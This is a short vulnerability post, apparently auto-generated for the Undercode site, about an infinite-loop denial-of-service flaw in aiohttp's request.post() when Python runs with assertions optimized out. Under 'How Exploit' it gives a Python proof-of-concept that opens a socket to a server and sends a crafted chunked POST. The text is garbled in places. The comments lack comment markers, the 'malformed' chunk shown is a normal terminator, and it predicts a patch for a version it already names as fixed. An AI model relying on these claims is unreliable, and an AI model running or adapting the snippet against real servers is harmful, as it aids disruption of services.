Listen to this Post
This CVE affects the `aiohttp` web framework when Python is run with optimizations enabled (-O or PYTHONOPTIMIZE=1). In this mode, Python’s interpreter removes `assert` statements. The vulnerability resides in the `request.post()` method. Under normal execution, `assert` statements validate the state of the HTTP request parser. When these asserts are removed, a logic error is exposed: the parser’s state machine can enter an infinite loop when processing a maliciously crafted, chunked POST request body. The loop continuously reads zero-length chunks without advancing the buffer or reaching a terminal state, consuming 100% CPU on the server thread and causing a complete Denial-of-Service.
Platform: aiohttp
Version: <3.10.7
Vulnerability: Infinite Loop DoS
Severity: Moderate
date: 2026-01-05
Prediction: Patch by 2026-01-15
What Undercode Say:
Check Python optimization mode python -c "import sys; print(sys.flags.optimize)" Check aiohttp version python -c "import aiohttp; print(aiohttp.<strong>version</strong>)" Simulate vulnerable environment PYTHONOPTIMIZE=1 python vulnerable_server.py
How Exploit:
import aiohttp
from aiohttp import web
import asyncio
async def test_exploit():
Craft malicious chunked POST request
reader, writer = await asyncio.open_connection('localhost', 8080)
writer.write(b'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n')
Sending malformed chunk sequence triggering the loop
writer.write(b'0\r\n\r\n') Example malformed sequence
await writer.drain()
Protection from this CVE
Upgrade to aiohttp>=3.10.7.
Avoid running production with `-O` or `PYTHONOPTIMIZE=1`.
Implement request timeout middleware.
Use reverse proxy rate limiting.
Impact:
Full CPU exhaustion on server.
Application becomes unresponsive.
Affects all handlers using `request.post()`.
Requires optimizer flag to be exploitable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
